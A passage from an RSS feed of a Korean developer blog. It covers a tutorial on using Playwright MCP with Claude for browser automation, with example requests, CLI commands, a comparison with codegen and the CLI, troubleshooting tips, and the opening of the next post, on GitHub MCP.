&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;현재 페이지에서 확인된 버튼들:&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;대시보드&quot; (ref=e2)&lt;/li&gt;
&lt;li&gt;&quot;설정&quot; (ref=e4)&lt;/li&gt;
&lt;li&gt;&quot;리포트&quot; (ref=e6) &amp;larr; 이 버튼이 찾으시는 것일 수 있습니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 5px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;리포트&quot; 버튼을 클릭할까요? 또는 페이지를 스크롤해서 더 찾아볼까요?&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;동적 콘텐츠 대처 팁&lt;/b&gt;&lt;br /&gt;SPA(Single Page Application)에서 비동기로 로딩되는 버튼이나 요소는 &lt;code&gt;browser_snapshot&lt;/code&gt; 시점에 아직 렌더링되지 않았을 수 있다. 이때는 &quot;잠깐 기다렸다가 다시 스냅샷을 찍어줘&quot; 또는 &lt;code&gt;browser_wait_for&lt;/code&gt;로 특정 텍스트가 나타날 때까지 대기하도록 요청하면 된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 5: 경쟁사 모니터링 &amp;mdash; 가격 페이지 스크린샷 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;정기적으로 경쟁사 웹사이트의 변경사항을 모니터링하는 실무 시나리오다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; https://competitor.com/pricing 에 접속해서 스크린샷을 찍고, 현재 가격 플랜 정보(플랜 이름, 가격, 주요 기능)를 표 형태로 정리해줘&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0fff0; border-left: 4px solid #28a745; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 응답 (요약):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 5px 0;&quot; data-ke-size=&quot;size16&quot;&gt;pricing 페이지에 접속하여 스크린샷을 &lt;code&gt;competitor-pricing.png&lt;/code&gt;로 저장했습니다. 접근성 트리 분석 결과:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin: 8px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background: #e8e8e8;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;&lt;b&gt;플랜&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;&lt;b&gt;가격&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;&lt;b&gt;주요 기능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;Starter&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;$9/월&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;기본 기능, 5GB 저장소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;Pro&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;$29/월&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;팀 협업, API 접근, 50GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;Enterprise&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;문의&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #ccc;&quot;&gt;SSO, 전용 지원, 무제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude가 가격 페이지를 분석하고 표로 정리해준 실제 결과 화면 --&gt; &lt;!-- 5. CLI 비교 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. CLI 직접 사용과의 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP 없이도 Playwright CLI를 직접 사용하거나 코드를 작성해서 브라우저를 자동화할 수 있다. 세 가지 접근법의 차이를 비교해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Playwright CLI 주요 명령어&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# 테스트 실행&lt;/div&gt;
&lt;pre class=&quot;cmake&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;npx playwright test                        # 전체 테스트 실행
npx playwright test --headed               # 브라우저 창을 띄우고 실행
npx playwright test --ui                   # 인터랙티브 UI 모드로 실행
npx playwright test tests/login.spec.ts    # 특정 파일만 실행

# 코드 자동 생성 (코드젠) &amp;mdash; 브라우저 조작을 녹화해 테스트 코드 생성
npx playwright codegen https://example.com

# 브라우저 설치
npx playwright install chromium&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;playwright codegen &amp;mdash; 자동 코드 생성기&lt;/b&gt;&lt;br /&gt;&lt;code&gt;npx playwright codegen https://example.com&lt;/code&gt;을 실행하면 브라우저가 열리고, 사용자가 클릭&amp;middot;입력하는 동작을 실시간으로 Playwright 테스트 코드로 변환해준다. MCP와 비슷하게 &quot;직접 조작&quot;하지만, 결과물은 재사용 가능한 테스트 코드다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;세 가지 방법 비교&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;장점&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;단점&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;추천 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Playwright MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;자연어 요청으로 즉시 실행, 대화형 피드백&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;재현성 낮음, 토큰 비용 발생, CI/CD 통합 어려움&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;탐색적 테스트, 일회성 자동화, 빠른 버그 재현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;playwright codegen&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;코드 자동 생성, 조작이 코드로 변환됨&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;생성 코드 수정 필요, AI 지원 없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;테스트 코드 초안 작성, 반복 플로우 녹화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Playwright CLI 직접&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;완전한 제어, 완벽한 재현성&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;API 학습 필요, 코드 작성 시간 소요&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;회귀 테스트, CI/CD 파이프라인, 정형화된 E2E&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실용적인 3단계 조합 워크플로우&lt;/b&gt;&lt;br /&gt;1단계: &lt;b&gt;Playwright MCP&lt;/b&gt;로 &quot;이 플로우가 되는지&quot; 자연어로 빠르게 탐색 및 검증&lt;br /&gt;2단계: &lt;b&gt;playwright codegen&lt;/b&gt;으로 검증된 플로우를 테스트 코드 초안으로 변환&lt;br /&gt;3단계: 생성된 코드를 다듬어 &lt;b&gt;CI/CD 파이프라인&lt;/b&gt;에 통합&lt;br /&gt;&lt;br /&gt;MCP로 탐색 &amp;rarr; codegen으로 코드화 &amp;rarr; CLI로 자동화하는 흐름이 효율적이다.&lt;/div&gt;
&lt;!-- 6. 트러블슈팅 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주의사항 및 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 1: 브라우저가 열리지 않는 경우&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; Playwright MCP를 추가했는데 브라우저가 아무것도 하지 않는다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; Node.js 버전이 낮거나, Playwright 브라우저 바이너리가 설치되지 않은 경우&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; margin-top: 10px;&quot;&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;node --version  # v18 이상인지 확인
npx playwright install chromium  # 브라우저 바이너리 설치&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 2: Headed 모드에서 창이 뜨지 않는 경우&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; &lt;code&gt;--headed&lt;/code&gt; 옵션을 줬는데도 브라우저 창이 보이지 않는다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; 디스플레이 환경이 없는 서버, 또는 IDE 워커 프로세스에서 실행되는 경우&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;--port&lt;/code&gt; 플래그로 HTTP transport를 사용하거나, 직접 터미널에서 MCP 서버를 실행해야 한다. Docker 환경에서는 headless 모드만 지원된다. (출처: &lt;a href=&quot;https://github.com/microsoft/playwright-mcp/issues/1175&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #1175&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 3: MCP 서버가 연결 안 되는 경우&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제:&lt;/b&gt; Claude가 Playwright Tool을 사용하지 못한다.&lt;br /&gt;&lt;b&gt;원인:&lt;/b&gt; 설정 파일 JSON 문법 오류, 또는 Claude Desktop/Code 재시작이 필요&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; margin-top: 10px;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Claude Code에서 MCP 상태 확인
claude mcp list

# 또는 /mcp 슬래시 명령어로 상태 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 4: 자동화가 중간에 멈추거나 실패하는 경우&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팝업, CAPTCHA, 동적 콘텐츠 대처법&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;팝업/모달:&lt;/b&gt; &lt;code&gt;browser_handle_dialog&lt;/code&gt; Tool로 alert&amp;middot;confirm 다이얼로그를 처리할 수 있다. 그러나 커스텀 UI 팝업은 &lt;code&gt;browser_snapshot&lt;/code&gt;으로 구조를 파악한 뒤 직접 클릭해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CAPTCHA:&lt;/b&gt; Playwright MCP는 CAPTCHA를 자동으로 풀 수 없다. CAPTCHA가 있는 페이지는 headed 모드에서 수동으로 풀거나, CAPTCHA가 없는 테스트 환경을 별도로 구성해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;동적 콘텐츠/로딩 대기:&lt;/b&gt; &lt;code&gt;browser_wait_for&lt;/code&gt; Tool로 특정 텍스트나 요소가 나타날 때까지 대기할 수 있다. 예: &quot;로그인 완료&quot; 텍스트가 보일 때까지 기다려줘.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;트러블슈팅 5: CI/CD 서버 환경에서 사용할 때&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Headless 모드가 필수인 환경&lt;/b&gt;&lt;br /&gt;디스플레이가 없는 Linux 서버, Docker 컨테이너, GitHub Actions 등 CI/CD 환경에서는 반드시 &lt;code&gt;--headless&lt;/code&gt; 플래그를 사용해야 한다. Headed 모드는 디스플레이 서버(X11 등)가 없으면 동작하지 않는다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;설정 예시 (GitHub Actions 또는 Docker 환경):&lt;/b&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; margin-top: 10px;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;playwright&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;@playwright/mcp@latest&quot;, &quot;--headless&quot;]
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
Playwright MCP는 주로 대화형 탐색적 작업에 최적화되어 있다. 반복 재현이 필요한 CI/CD 회귀 테스트에는 직접 작성한 Playwright 테스트 코드가 더 적합하다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안:&lt;/b&gt; 실제 계정의 로그인 정보를 Claude에게 전달할 때는 주의가 필요하다. 민감한 환경에서는 테스트 계정을 사용하자.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;재현성:&lt;/b&gt; 자연어 지시는 매번 미묘하게 다르게 해석될 수 있다. 정형화된 테스트가 필요하면 Playwright 코드로 작성해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비용:&lt;/b&gt; 접근성 트리 스냅샷은 토큰을 소모한다. 복잡한 페이지에서 반복 실행하면 비용이 누적될 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Canvas/WebGL:&lt;/b&gt; Canvas 기반 애플리케이션은 접근성 트리에 정보가 없어 Snapshot 모드에서 동작이 제한될 수 있다. Vision 모드를 고려하자.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 커뮤니티 반응 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 개발자 커뮤니티 반응 (2026년 초 기준)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 초 기준으로 Playwright MCP에 대한 개발자 커뮤니티의 반응은 대체로 긍정적이지만, 실무 한계에 대한 현실적인 피드백도 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;긍정적 반응&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;탐색적 테스트와 빠른 프로토타이핑에서 진입 장벽을 크게 낮춰준다는 평가가 많다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;QA 엔지니어들 사이에서 &quot;수동 테스트 작성자로서의 역할을 재고하게 만든다&quot;는 반응이 있으며, AI 테스트 스위트를 오케스트레이션하는 방향으로 역할이 변화하고 있다는 의견이 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;&lt;b&gt;실무 한계 지적&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Shadow DOM이 접근성 트리에서 보이지 않아 모던 디자인 시스템과 충돌할 수 있다는 점이 &quot;2026년 AI 테스팅의 조용한 킬러&quot;로 지적되고 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;26개 이상의 Tool이 제공되지만, Playwright의 모든 메서드를 그대로 노출한 구조라 AI 에이전트에 최적화된 설계는 아니라는 의견도 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a href=&quot;https://bug0.com/blog/playwright-mcp-changes-ai-testing-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bug0 - Playwright MCP Changes AI Testing in 2026&lt;/a&gt;, &lt;a href=&quot;https://www.speakeasy.com/blog/playwright-tool-proliferation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Speakeasy - The Playwright Proliferation Problem with MCP&lt;/a&gt;, &lt;a href=&quot;https://currents.dev/posts/state-of-playwright-ai-ecosystem-in-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Currents - State of Playwright AI Ecosystem in 2026&lt;/a&gt;)&lt;/p&gt;
&lt;!-- 8. 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP는 브라우저 자동화에 대한 진입 장벽을 대폭 낮춰주는 도구다. 테스트 코드를 직접 작성하지 않아도 자연어로 &quot;이 사이트 접속해서 이렇게 해줘&quot;라고 말하면 AI가 실제로 실행해준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이런 분께 추천한다:&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Playwright API를 배우기 전에 빠르게 웹 자동화를 써보고 싶은 분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;탐색적 테스트나 일회성 스크래핑이 필요한 개발자&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;UI 버그를 빠르게 재현하고 확인하고 싶은 QA 담당자&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;경쟁사 사이트 모니터링, 정기적인 스크린샷 비교 등이 필요한 분&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Microsoft 공식 패키지인 &lt;code&gt;@playwright/mcp&lt;/code&gt;를 사용하는 것이 가장 안정적이며, &lt;code&gt;claude mcp add playwright npx '@playwright/mcp@latest'&lt;/code&gt; 한 줄로 바로 시작할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다음 편에서는 Figma MCP를 통해 디자인 파일을 코드로 변환하는 워크플로우를 소개하겠다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;microsoft/playwright-mcp GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/@playwright/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@playwright/mcp npm 패키지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://til.simonwillison.net/claude-code/playwright-mcp-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Using Playwright MCP with Claude Code &amp;mdash; Simon Willison's TIL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://autify.com/blog/playwright-mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Playwright MCP Server: What You Need to Know &amp;mdash; Autify&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>@playwright/mcp</category>
      <category>AI 브라우저 자동화</category>
      <category>Claude 브라우저 제어</category>
      <category>E2E 테스트 AI 자동화</category>
      <category>playwright mcp</category>
      <category>Playwright MCP Snapshot 모드</category>
      <category>Playwright mcp 설치</category>
      <category>웹 스크래핑 AI</category>
      <category>자연어 웹 자동화</category>
      <category>접근성 트리 브라우저 제어</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/538</guid>
      <comments>https://goddaehee.tistory.com/538#entry538comment</comments>
      <pubDate>Fri, 6 Mar 2026 00:18:10 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(2) - GitHub MCP 설치 및 사용방법 : 자연어로 GitHub를 조작하는 법, 개발 워크플로우 자동화하기</title>
      <link>https://goddaehee.tistory.com/537</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;&quot;MCP가 죽었다&quot;말도 나오는데, 그래도 현시점 쓸만한 MCP 10개&lt;/h2&gt;
